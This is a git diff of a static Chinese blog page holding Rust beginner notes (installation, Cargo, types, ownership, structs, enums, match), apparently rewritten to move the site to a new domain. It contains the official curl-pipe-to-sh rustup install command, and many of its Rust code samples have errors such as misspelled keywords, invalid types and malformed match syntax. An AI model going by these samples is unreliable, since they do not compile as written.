o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/142/index.html b/posts/142/index.html
index 81c31a7d..d6c71997 100644
--- a/posts/142/index.html
+++ b/posts/142/index.html
@@ -23,8 +23,8 @@
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
name = &#34;hallo_word&#34;
version = &#34;0.0.1&#34;
edition = &#34;2021&#34;
[dependencies]
hyper = &#34;0.14.20&#34; # 来自https://crates.io/
# hyper = { git = &#34;https://github.com/hyperium/hyper&#34; } # 来自第三方社区
# hyper = { path = &#34;."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/142/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Rust学习笔记"><meta property="og:description" content="Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
+[package] name = &#34;hallo_word&#34; version = &#34;0.0.1&#34; edition = &#34;2021&#34; [dependencies] hyper = &#34;0.14.20&#34; # 来自https://crates.io/ # hyper = { git = &#34;https://github.com/hyperium/hyper&#34; } # 来自第三方社区 # hyper = { path = &#34;."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/142/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Rust学习笔记"><meta property="og:description" content="Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
 安装
 官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）
 通过rustup-init来安装Rust
@@ -49,7 +49,7 @@
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
name = &#34;hallo_word&#34;
version = &#34;0.0.1&#34;
edition = &#34;2021&#34;
[dependencies]
hyper = &#34;0.14.20&#34; # 来自https://crates.io/
# hyper = { git = &#34;https://github.com/hyperium/hyper&#34; } # 来自第三方社区
# hyper = { path = &#34;."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/142/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-03-28T13:22:00+00:00"><meta property="article:modified_time" content="2022-03-28T13:22:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Rust学习笔记"><meta name=twitter:description content="Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
+[package] name = &#34;hallo_word&#34; version = &#34;0.0.1&#34; edition = &#34;2021&#34; [dependencies] hyper = &#34;0.14.20&#34; # 来自https://crates.io/ # hyper = { git = &#34;https://github.com/hyperium/hyper&#34; } # 来自第三方社区 # hyper = { path = &#34;."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/142/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-03-28T13:22:00+00:00"><meta property="article:modified_time" content="2022-03-28T13:22:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Rust学习笔记"><meta name=twitter:description content="Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
 安装
 官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）
 通过rustup-init来安装Rust
@@ -74,422 +74,422 @@
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
name = &#34;hallo_word&#34;
version = &#34;0.0.1&#34;
edition = &#34;2021&#34;
[dependencies]
hyper = &#34;0.14.20&#34; # 来自https://crates.io/
# hyper = { git = &#34;https://github.com/hyperium/hyper&#34; } # 来自第三方社区
# hyper = { path = &#34;."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Rust学习笔记","item":"https://xiaochenabc123.github.io/posts/142/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Rust学习笔记","name":"Rust学习笔记","description":"Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会\n安装\n官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）\n通过rustup-init来安装Rust\nhttps://www.rust-lang.org/zh-CN/tools/install\nwindows直接安装pustup-init.exe来安装（需联网）,默认通过vc安装，建议选择2自定义安装\nLinux或者macOS则直接执行以下命令\ncurl \u0026ndash;proto \u0026lsquo;=https\u0026rsquo; \u0026ndash;tlsv1.2 -sSf https://sh.rustup.rs | sh\n注意：Rust的一些包，可能还依赖C编译器，因此最好安装一下GCC\n检查是否安装完成\nrustc \u0026ndash;version\n如果喜欢用Visual Studio Code开发，可搭配rust-analyzer插件来使用\n更新rust\nrustup update\n卸载rust和rustup\nrustup self uninstall\n在安装rustup的同时也会安装Cargo\nCargo是rust的项目构建工具和包管理器\n检查是否安装成功\ncargo \u0026ndash;version\n创建第一个rust项目\ncargo new halloword\n其中Cargo.toml文件是项目的依赖库文件\n通过编辑Cargo.toml文件来添加依赖\nrust依赖可通过https://crates.io/查找\n[package]\rname = \u0026quot;hallo_word\u0026quot;\rversion = \u0026quot;0.0.1\u0026quot;\redition = \u0026quot;2021\u0026quot;\r[dependencies]\rhyper = \u0026quot;0.14.20\u0026quot; # 来自https://crates.io/\r# hyper = { git = \u0026quot;https://github.com/hyperium/hyper\u0026quot; } # 来自第三方社区\r# hyper = { path = \u0026quot;.","keywords":["Rust"],"articleBody":"Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会\n安装\n官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）\n通过rustup-init来安装Rust\nhttps://www.rust-lang.org/zh-CN/tools/install\nwindows直接安装pustup-init.exe来安装（需联网）,默认通过vc安装，建议选择2自定义安装\nLinux或者macOS则直接执行以下命令\ncurl –proto ‘=https’ –tlsv1.2 -sSf https://sh.rustup.rs | sh\n注意：Rust的一些包，可能还依赖C编译器，因此最好安装一下GCC\n检查是否安装完成\nrustc –version\n如果喜欢用Visual Studio Code开发，可搭配rust-analyzer插件来使用\n更新rust\nrustup update\n卸载rust和rustup\nrustup self uninstall\n在安装rustup的同时也会安装Cargo\nCargo是rust的项目构建工具和包管理器\n检查是否安装成功\ncargo –version\n创建第一个rust项目\ncargo new halloword\n其中Cargo.toml文件是项目的依赖库文件\n通过编辑Cargo.toml文件来添加依赖\nrust依赖可通过https://crates.io/查找\n[package]\rname = \"hallo_word\"\rversion = \"0.0.1\"\redition = \"2021\"\r[dependencies]\rhyper = \"0.14.20\" # 来自https://crates.io/\r# hyper = { git = \"https://github.com/hyperium/hyper\" } # 来自第三方社区\r# hyper = { path = \"../hyper\" } # 来自本地文件\r构建依赖到项目中\ncargo build halloword\n当构建完成后，会在项目的根目录中创建一个名叫Cargo.lock的文件，该文件记录项目依赖的版本\nsrc/main.rs是该项目的程序编写文件\n在src/main.rs添加以下内容\nfn main() {\rprintln!(\"hallo, world\");\r};\r进入该项目根目录运行该项目\ncargo run\n或者直接编译main.rs\nrustc main.rs ./main\n注意：在windows上，需要加.exe，.\\main.exe\n在hallo word例子中看到，fn是创建函数的关键字，main是函数名，该函数调用了println!()，其实这是一个macro（宏），“hallo, world\"作为字符串参数传递到了该宏中\n另外cargo提供了一个命令，来不用生成二进制文件的前提下构建项目，来检查项目的错误\ncargo check\nbuild和run默认是debug版本的，如果需要编译release版本执行cargo build –release\n在rust中函数是一等公民，其中main函数是程序的入口函数（和golang一样）\n注释可以让rust编译器忽略，例如：// hallo word\n多行注释可使用块注释，例如：\n/*\rhallo\rword\r*/\r文档注释，行注释例如：\n/// 1\r/// 2\r/// 3\r文档块注释，例如：\n/**\rhallo\rword\r*/\r注意：文档注释必须位于lib类型的包中，文档注释看使用md语法\n可使用cargo doc命令，来对文档注释生成html文件，放在target/doc目录下，也可以使用 cargo doc –open 生成文档后自动打开html网页\n变量通过let关键字来创建\nfn main() {\rlet mut abc = \"hallo word\";\rabc = \"hhh\";\rprintln!(\" abc: {}\",abc);\r};\r注意：rust变量默认是不能变得，需要通过mut关键字来让变量可变\n变量存在遮蔽性，如果使用let关键重复声明同一个变量，会遮蔽之前声明的变量的值和类型\n变量的遮蔽性和mut关键字的区别是，mut关键字无法修改变量的类型，mut关键字修改的只能是相同类型的值\n常量通过const关键字来创建\nfn main() {\rconst ABC = \"hallo word\";\rprintln!(\" ABC: {}\",ABC);\r};\r常量不可变，也不能使用mut，而且必须声明类型（字面量也算是一种类型声明）\n数据类型\nrust是静态型编译语言，因此需要在编译之前就知道全部变量的类型\nrust有4大基础类型，这个基础类型又叫标量类型，分别是整型，浮点型，布尔型，字符型\n整型就是没有小数的整数（分符号类型和无符号类型，区别是是否为负数，可能为负数使用有符号类型，不可能为负数使用无符号类型）\n整型使用u表示无符号类型，用i表示有符号类型，再声明使用多少位的空间，例如i32，就是占32位空间的有符号类型\n还有2个特殊的类型，isize和usize，这个类型取决程序执行环境的系统架构，使用64位架构就是占64位空间\n整型支持十进制，八进制，二进制，十六进制和字节，rust默认使用i32类型\n注意：使用有符号类型会将以二进制补码的方式来存储\n浮点类型，就是带小数的数字，rust的浮点型有2个类型，分别是f32和f64，默认是f64，f64是双精度浮点型，f32类型是单精度，并且全部类型都是具备符号的（可为负数）\n布尔类型，布尔类型只能是这2个值得其中之一，true和false，布尔类型使用bool关键字来声明，例如 let a: bool = true;,当然也是可以使用字面量来声明\n字符类型，字符类型使用单引号包括，并且只能表示一个Unicode字符（因为字符类型只使用4个字节）\n字符串类型使用双引号表示，可表示多个字符，使用String表示，例如：\nlet a:String = \"hallo word\";\rprinln!(\"{}\",a);\r除了标量类型外还有复合类型，复合类型有6种，分别是元组和数组，枚举，结构体，字符串，切片\n元组类型就是无法扩展和收缩的数组（元组可使用不同的类型），长度是固定的，例如：\nlet a: (i64, f64) = (100,3.14);\r获取元组的元素可通过解构的方式来完成，例如：\nlet a: (i64, f64) = (100,3.14);\rlet (b,c) = a;\r也可以通过索引值来获取，例如：\nlet a: (i64, f64) = (100,3.14);\rlet b = a.1;\r元组的索引是从0开始的\n数组类型和元组不同，数组的类型必须是相同类型的，数组长度也是固定的\nlet a = [1,233,666];\rrust也提供了动态数组（vector），动态数组将被分配到堆内存空间，而普通数组会被分配到栈内存空间\n动态数组使用Vec的方式来声明，动态数组也不能使用不同的类型，但是动态数组可以扩展空间和缩小，而且全部元素在内存是相邻排列的，可使用Vec::new()来创建一个空的动态数组，例如：\nlet a: Vev = Vec::new();\r当然也可以提供初始值来创建\nlet b = vec![2,4,68];\rrust可以根据字面量来自动推断出类型\n动态数组增加元素使用push方法，例如：\nlet mut a: Vev = Vec::new()； a.push(1); a.push(2); a.push(3); a.push(4); a.push(5);\n注意：动态数组离开当前作用域会被丢弃销毁\n获取动态数组的元素，可通过get方法或者索引来完成，例如：\nlet a = vec![2,4,68];\rlet b = a.get(2);\rlet c = \u0026a[2];\rget方法和索引的区别是，get方法访问超过数组不存在的元素是不会报错的，而是返回none，而索引访问是会导致报错，程序崩溃的\n遍历动态数组\nlet a = vec![2,4,68];\rfot i in \u0026a{\rprintln!(\"{}\",i);\r};\r动态数组支持枚举类型，这可以让动态数组存储不同类型的值，例如；\nenum Hallo{\rInt(i64),\rText(String),\r};\rlet a = vec![\rHallo::Int(666),\rHallo::Text(Sting::from(\"hallo word\")),\r];\r函数，是rust的第一个公民，main函数是rust程序入口文件，而且函数定义可在main函数之前或者之后，使用fn关键字来声明，例如：\nfn hallo_word(){\rprintln!(\"hallo word\");\r};\rfn main(){\rhallo_word();\r};\r函数参数\nfn main(){\ra(666);\r};\rfn a(x:i64){\rprintln!(\"{}\",x);\r};\r函数返回值\nfn main(){\ra(666);\r};\rfn a(x:i64) -\u003e{\rx+123\r};\r注意：返回值使用-\u003e返回，而且不能使用分号，因为语句无法作为返回值返回\nif判断\nlet a = 1;\rif a \u003c10{\rprintln!(\"true \u003e10\");\r}else if(a\u003e0){\rprintln!(\"true \u003e10\");\r}else{\rprintln!('none')\r};\r注意：if判断必须提供一个布尔类型的值，否则会抛出错误\n表达式是可以赋值给变量的，例如：let boola = true; let a = if boola{1} else{2}\nrust的循环有3种，分别是for，while，以及loop\nfor遍历循环（常用于遍历集合元素），例如：\nlet a = [1,2,3,45,6];\rfor b in a {\rprintln!(\"{}\",b);\r};\rwhile循环，条件为真执行，为假停止循环。例如：\nlet mut a = 0\rwhile a \u003c= 10{\rprintln!(\"hallo wrod\");\ra +=1;\r};\rloop关键字可以一直执行语句，直到被跳出（可使用break关键字），例如：\nlet mut count = 0;\rloop{\rprintln!(\"hallo word\");\rif (count == 5){\rbreak;\r};\rcount +=1;\r};\rloop循环可以搞个标签，来指定终止哪次循环（嵌套循环下），例如：‘a’: loop{ break ‘a’}\ncontinue操作符可跳出当前循环，去执行下次循环，一般搭配if分支语句来使用\n所有权\n所有权是rust的特性之一，无需gc垃圾回收机制就可以保证内存安全\n作用域是一个语句块在程序中有效的范围，在该范围内的变量是有效的，离开该范围后将自动释放内存空间\n释放内存空间是使用rust提供的一个叫drop函数，会在结尾}自动调用该函数\n当一个变量的值是指针时，赋值给另一个变量，当这2个变量离开作用域后，会导致二次释放，因为这2个变量指向的是同一个内存空间地址，二次释放会导致内存污染，这个指针实质上是在堆上的\nrust为了解决二次释放导致的内存安全问题，当一个存在指针值的变量赋值给另一个变量后，会销毁第一个变量，而无需再等到离开作用域，第一个变量将变成是无效的，这个赋值将不是复制，而是剪切板一样，移动数据\n如果需要复制堆的数据，可使用clone方法，例如：\nlet a = String::from(\"hallo word\");\rlet b = a.clone();\rprintln!(\"{},{}\"a,b);\r注意：移动数据只针对栈上的指针之类的有效，如果是赋值的是整型之类存在在栈上的，是不需要移动，因为复制指针这些\"引用类型\"需要耗费性能，rust通过copy trait标注来决定是否赋值给其他变量后，这个变量是否还有效，只要类型实现了copy trait就可以\n支持copy trait的类型：全部整数类型，布尔类型，浮点类型，字符类型，元组（部分类型支持）\n为了避免需要引用变量而导致原变量失效，rust提供了引用功能，例如：\nlet a = String::from(\"hallo word\");\rlet b = \u0026a;\r引用不会具备该值的所有权，但是可以指向这个值\n引用实质上是借用的，是不能修改借用的值，如果想修改可提前对具备所有权的变量声明mut可变，例如：\nlet mut a = String::from(\"hallo\");\rlet b = \u0026mut a;\r注意：同一个作用域中只能有一个对这个数据进行可变引用，使用多个可变引用会报错，这是为了避免竞争\n切片类型也是没有所有权的，对切片类型进行操作，是不会影响到原来的值，例如：\nlet a = String::from(\"hallo world\");\rlet hello = \u0026a[0..5];\rlet world = \u0026a[6..11];\ra.clear();\r结构体与元组一样，元素可以是多个类型，但是和元组不同的是，结构图具备元素别名，并且使用struct来定义结构体，例如：\nstruct Name{\rid: i64,\rusername: String,\remail: String,\rpass: String,\r};\r上面例子就是一个结构体，这个结构体的名称叫Name，具备4个字段，每个字段有自己对于的字段名称和类型\n有结构体当然也有结构体实例，结构体是结构体实例的抽象\nlet name1 = Name{\rid: 1,\rusername: String::from(\"root\"),\remail: String::form(\"a@xiaochenabc123.test.com\"),\rpass: String::form(\"123456789\"),\r};\rprintln!(\"hallo {}\", name1.username);\rname1.email = String::from(\"b@xiaochenabc123.test.com\");\r注意：结构体实例必须按照结构体每个字段的类型要求进行初始化，不需要按照结构体声明的字段顺序一样\n利用函数返回值来完成结构体的实例化，例如：\nfn NameTest(username: String, email: String, pass: String) -\u003e{\rName{\rusername,\remail,\rpass,\r};\r};\rfn main(){\rlet name01 = NameTest(\"user01\",\"test@xiaochenabc123.test.com\",\"12356987\");\rprintln!(\"hallo {}\", name01.username);\r};\r基于已有的实例，创建新的实例，例如：\nlet name2 = Name{\rusername: String::from(\"uesr02\"),\r..name01\r};\r注意：其中..name01是表示其他字段将从name01实例中获取\n元组结构体（结构体字段没名称的就叫元组结构体）\nstruct Abc(i64,bool,f64);\rlet abc1 = Abc(100,true,3.14);\r单元结构体（这玩意和go的空结构体一样，只定义一个结构体，但是没有字段和属性）\nstruct Xyz;\rlet xyz1 = Xyz;\r结构体的所有权：当使用已有的实例，创建新的实例时，改变的字段的所有权将会被转移到新的实例，原有的实例的那个字段将失效，其他字段正常，因此使用结构体应该避免使用引用类型\n枚举\nenum HomeTest{\rHallo,\rXyz,\rAbc,\rHahaha(i64)\r};\rstruct Demo{\rhome: HomeTest,\rid: i64,\r}\rfn main(){\rlet test1 = HomeTest::Hallo;\rlet test2 = HomeTest::Abc;\rprintln!(test1);\rprintln!(test2);\rlet a = Demo{\rhome: HomeTest::Abc,\rid: 1,\r}\rlet b = Demo{\rhome: HomeTest::Hallo,\rid: 2,\r}\r}\r上面例子中，通过enum关键字声明并且定义一个枚举类型，这个枚举类型有3个枚举成员，通过::操作符来访问枚举的成员，枚举是一种类型，因此可用于函数参数类型，结构体类型等等\n枚举的成员可以是任何类型的数据，也可以限制成员的数据类型，结构体使用{}，单个使用()，多个可使用逗号分割\nrust的空值使用Option枚举类型来表示，而不是null\nOption，Some，None都包含在prelude标准库中，不需要在源码中声明，或者引用，直接就可以使用\nOption枚举类型的实现\nenum Option {\rSome(T),\rNone,\r};\r表示一个空值\nlet null1: Option = None;\r如果使用None，则需要提前提供是什么类型，因为无法通过None来推断出类型\nOption比null好的原因是，Option(T)和任何类型都不相同，无法将Option和i64类型的值进行处理\n如果有值则：\nlet num1:Option = Some(233);\r如果使用Some，表示有个值存于Some中\n使用Option枚举类型：\nfn Test(a:Option) -\u003e Option {\rmatch a {\rSome(i) =\u003e Some(i),\rNone =\u003e None,\r}\r}\rlet abc = Some(666);\rlet xyz = Test(abc);\r上面例子中，通过Test函数传入一个Option类型的参数，并且返回一个Option类型的值，使用match模式匹配，如果传入None则返回None，传入Some(i64)，则返回其本身（也就是Some(i64)）\n模式匹配\nmatch语句\nenum Demo{\rHallo,\rAbc,\rXyz,\r};\rlet test1 = Demo::Xyz;\rlet test2 = match test1 {\rDemo::Hallo =\u003e \"hallo word\",\rDemo::Abc | Demo::Xyz =\u003e \"hallo abcxyz\",\r},\r_ =\u003e\"0\",\r};\r上面例子中进行匹配Demo对应的枚举类型，match会穷尽列出全部已知的可能，如果存在不知道的可能，使用下划线_来表示，match语句与switch语句很像，match的分支必须指向一个表达式，而且每个分支的表达式结果必须是相同类型的\n假如只想对单个模式来进行处理，可使用if let语句，例如：\nlet test1 = Demo::Xyz;\rif let Test2(Demo::Xyz) = test1{\rprintln!(\"hallo wrod\");\r}\r上面例子中，如果匹配到Demo::Xyz，输出hallo wrod，如果不匹配则忽略\n注意：match和if let会在模式匹配时进行覆盖老值，绑定新的值\nmatches!宏匹配，可以将一个表达式和模式来进行匹配，返回结果是布尔值，例如：\nlet a = 1;\rassert!(matches!(1..100 | -1..-100));\r方法\nrust使用impl关键字来定义方法\nstruct Demo {\rid: i64,\ruser: String,\r}\rimpl Demo {\rfn new(id: i64, user: String) -\u003e Demo {\rDemo{\rid: id,\ruser: user,\r}\r}\rfn printa(\u0026self){\rprintln!(self.user)\r}\r}\rfn mian(){\rlet a = Demo{\rid: 1,\ruser: \"root\",\r}\ra.printa()\r}\r\u0026self为借用Demo结构体，new函数是Demo方法的关联函数，用于初始化结构体实例\n\u0026self是self: \u0026Self的简写，self有所有权，而\u0026self是表示不可变借用，\u0026mut self就是可变借用\nimpl Demo是struct Demo的实现，另外rust允许方法名与结构体的字段名相同，调用方法加()，否则就是在访问字段\nrust自动引用和解引用：当一个对象调用方法时，会自动为该对象添加\u0026，\u0026mut，*来确保该对象能与方法匹配\n关联函数：当一个存在于impl中，但是没有使用self的函数就被叫关联函数，通常存在impl中的new函数是结构体的构造实例器（rust没有使用new作为关键字，并不强制使用new）\n关联函数因为不是方法，需要使用::来调用，例如Demo::new(2,“admin”)\nrust允许将结构体定义成多个impl块，而不需要全部都写到一块，更灵活扩展\n枚举类型也可被实现\n泛型与特征\n泛型，当需要对可能存在不同类型的数据处理，但是处理逻辑是一样时，可使用泛型来避免重复，例如：\nfn test","wordCount":"1323","inLanguage":"en","datePublished":"2022-03-28T13:22:00Z","dateModified":"2022-03-28T13:22:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/142/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Rust学习笔记</h1><div class=post-meta><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Rust%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会</p><p>安装</p><p>官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）</p><p>通过rustup-init来安装Rust</p><p><a href=https://www.rust-lang.org/zh-CN/tools/install>https://www.rust-lang.org/zh-CN/tools/install</a></p><p>windows直接安装pustup-init.exe来安装（需联网）,默认通过vc安装，建议选择2自定义安装</p><p>Linux或者macOS则直接执行以下命令</p><p>curl &ndash;proto &lsquo;=https&rsquo; &ndash;tlsv1.2 -sSf <a href=https://sh.rustup.rs>https://sh.rustup.rs</a> | sh</p><p>注意：Rust的一些包，可能还依赖C编译器，因此最好安装一下GCC</p><p>检查是否安装完成</p><p>rustc &ndash;version</p><p>如果喜欢用Visual Studio Code开发，可搭配rust-analyzer插件来使用</p><p>更新rust</p><p>rustup update</p><p>卸载rust和rustup</p><p>rustup self uninstall</p><p>在安装rustup的同时也会安装Cargo</p><p>Cargo是rust的项目构建工具和包管理器</p><p>检查是否安装成功</p><p>cargo &ndash;version</p><p>创建第一个rust项目</p><p>cargo new halloword</p><p>其中Cargo.toml文件是项目的依赖库文件</p><p>通过编辑Cargo.toml文件来添加依赖</p><p>rust依赖可通过https://crates.io/查找</p><pre><code>[package]
-name = &quot;hallo_word&quot;
-version = &quot;0.0.1&quot;
